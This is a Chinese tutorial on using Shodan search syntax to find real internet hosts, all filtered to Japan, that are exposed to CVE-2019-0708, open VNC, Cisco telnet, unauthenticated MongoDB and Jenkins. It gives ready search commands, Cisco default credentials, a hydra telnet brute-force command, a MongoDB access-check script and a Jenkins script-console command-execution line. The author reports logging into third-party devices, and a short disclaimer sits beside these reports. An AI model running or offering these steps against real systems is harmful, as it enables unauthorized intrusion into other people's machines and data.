shodan进阶-实战案例
导语
一、CVE-2019-0708(3389漏洞)
1. 概要
2. 原理
3. 搜索命令
二、vnc空密码(未授权访问)
1. 概要
2. 原理
3. 搜索命令
三、思科网络设备未授权
1. 概要
2. 原理
3.搜索命令
四、MongoDB 未授权访问
1. 概要
2. 原理
3. 搜索命令
五、Jenkins组件漏洞
1. 概要
2. 原理
3. 搜索命令
总结
学习视频:泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频
导语
从shodan基础介绍讲到shodan在服务器上部署了很多的扫描器,其中就包括漏洞扫描器,是可以通过vuln来查找的,在没有 Shodan 高级会员权限的情况下,无法使用 vuln 参数直接查找存在漏洞的主机,但通过灵活的搜索组合,我们依然可以实现对特定漏洞的设备定位。本次以下几种漏洞为例,介绍如何利用 Shodan 的搜索功能筛选受影响的设备,并结合脚本批量和手工的方式验证,帮助更高效地识别网络中的高危资产。
Shodan 提供了丰富的查询功能,通过关键词、端口、操作系统、特征指纹等条件的组合使用,即使在没有高级权限的情况下,也可以实现接近漏洞扫描的效果
一、CVE-2019-0708(3389漏洞)
1. 概要
CVE-2019-0708漏洞是通过检査用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。
2. 原理
存在漏洞的远程桌面四服务器,在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体,但并未将指向该结构体的指针删除,而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针,若攻击者可通过远程发送数据重新占据被释放的MS_T120,并为结构体内的函数指针赋恰当的值,即可实现远程命令执行。
3. 搜索命令
用十六进制制字符串(类似于指纹的方式去找)
shodan search --limit 10 --fields ip_str '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' has_vuln:True port:3389 country:jp
-
参数分析
-
-limit 10 #显示10条资产
-
--fields ip_str #只显示ipv4地址
-
'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' #CVE-2019-0708指纹特征
-
has_vuln:True #只搜索存在CVE漏洞的资产
-
port:3389 #再次精准,只搜索开放了3389端口的资产
-
country:jp #只搜索小樱花的资产
-
精准打击,后面还可以使用MSF的攻击模块对CVE-2019-0708深度利用,这里就不演示
提示:该实验仅供学习参考,请勿违反网络安全法!
二、vnc空密码(未授权访问)
1. 概要
VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。
2. 原理
VNC(Virtual Network Computing)是一种轻量级的远程控制软件,允许用户通过网络连接并完全控制远程计算机。由于其设计特性,VNC容易受到未授权访问的攻击,尤其是当认证被禁用时,即无需用户密码登录就可被利用,造成恶意用户直接控制目标主机。
3. 搜索命令
shodan search --limit 50 --fields ip_str "authentication disabled" port:5900 country:jp
-
参数分析
-
-limit 50 #显示50条资产
-
--fields ip_str #只显示ip地址
-
"authentication disabled" #身份认证被禁用
-
port:5900 #再次精准,只搜索开放了5900端口的资产
-
country:jp #只搜索小樱花的资产
-
可以看到我成功登录了一些设备,命令搜索不是特别精准,所以需要多试几个。
提示:该实验仅供学习参考,请勿违反网络安全法!
三、思科网络设备未授权
1. 概要
思科(Cisco)是一家全球领先的网络解决方案和技术公司,成立于1984年,总部位于美国加利福尼亚州。思科专注于网络硬件、软件和服务,尤其以其路由器、交换机、防火墙和无线解决方案闻名。
2. 原理
思科设备在未获得授权的情况下,会导致未授权登录,如果搜索到的设备如仍需登录也可以使用弱口令进行尝试。
3.搜索命令
shodan search --fields ip_str --limit 100 "cisco -authorized port:23" country:jp
-
参数分析
-
-limit 100 #显示100条资产
-
--fields ip_str #只显示ip地址
-
"cisco -authorized port:23" #排除已经授权的cisco设备
-
port:23 #只搜索开放了23端口的资产
-
country:jp #只搜索小樱花的资产
-
搜索到的设备如仍需登录,我们也可以使用弱口令进行尝试。
思科设备常见的默认账号和密码如下:
账户:admin/cisco 密码:cisco
讲解:为什么要搜索一百条呢因为命中率是比较低的,我们后续可以拿搜索到的资产进行弱口令的尝试。
有挺多工具的,我们这里使用kali自带的九头蛇hydra进行一个批量检测。
命令:hydra -s 23 -V -L cisco_name.txt -P cisco_pass.txt -t 16 -M cisco_ip.txt telnet
在文件所在目录运行命令,一下子就可以跑出来不少,但是九头蛇这个工具是有误报率的,可以多多尝试登录。
我这边也是成功登录一个
提示:该实验仅供学习参考,请勿违反网络安全法!
四、MongoDB 未授权访问
1. 概要
MongoDB 是一个开源的 NoSQL 数据库,主要用于处理大量的非结构化数据。它采用文档存储模型,使用 BSON(类似于 JSON 的二进制格式)来存储数据,具有灵活性和高性能。
2. 原理
MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0,则可远程无需授权访问数据库。
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。
3. 搜索命令
shodan search --fields ip_str --limit 100 "MongoDB Server Information -authentication" port:27017 country:jp
-
参数分析
-
-limit 100 #显示100条资产
-
--fields ip_str #只显示ip地址
-
"MongoDB Server Information -authentication" #排除已经授权的cisco设备
-
port:27017 #只搜索开放了27017 端口的资产
-
country:jp #只搜索小樱花的资产
-
讲解:搜索100条也是因为命中率的问题,不过MongoDB未授权的命中率很高,我们可以先拿脚本筛选一下。
可以发现成功了都是比较高的,以下是文中用于测试脚本的核心代码,可以按需魔改。
from pymongo import MongoClient
from pymongo.errors import ConnectionFailure
def main(ip, port=27017):
try:
# 创建 MongoDB 客户端,不提供认证信息
client = MongoClient(ip, port, serverSelectionTimeoutMS=5000)
# 尝试连接到服务器
client.admin.command('ping')
print(f"MongoDB数据库连接成功!IP地址: {ip}, 端口号: {port}")
except ConnectionFailure:
print(f"{ip}无法连接到MongoDB数据库。")
if __name__ == "__main__":
ip='127.0.0.1'
main(ip)
测试连接
大部分的数据库都已经被黑客光临过了,遇到还有数据的也不要去乱动。
提示:该实验仅供学习参考,请勿违反网络安全法!
五、Jenkins组件漏洞
1. 概要
Jenkins 是一个开源的自动化服务器,主要用于持续集成(CI)和持续交付(CD)过程。它允许开发人员通过自动构建、测试和部署代码,提高软件开发的效率和质量。
2. 原理
在默认配置下Jenkins,存在未授权访问造成的RCE漏洞。
3. 搜索命令
shodan search --limit 10 --fields ip_str,port port:8080 http.title:"Dashboard" "X-Jenkins" OR "Set-Cookie:JSESSIONID"
-
参数分析
-
-limit 10 #显示100条资产
-
--fields ip_str #只显示ip地址
-
"X-Jenkins" OR "Set-Cookie:JSESSIONID" #框架特征
-
port:8080 #8080端口是Jenkins的默认端口
-
http.title:"Dashboard" #通常标题都是Dashboard
-
访问/script可以命令执行:println "ifconfig".execute().text
提示:该实验仅供学习参考,请勿违反网络安全法!
总结
即便没有高级会员权限,通过发散思维和灵活的语法组合,我们仍然可以在 Shodan 上实现特定漏洞的设备筛查。此方法对于预算有限的小白用户尤其实用,为安全研究人员提供了更多的探索空间。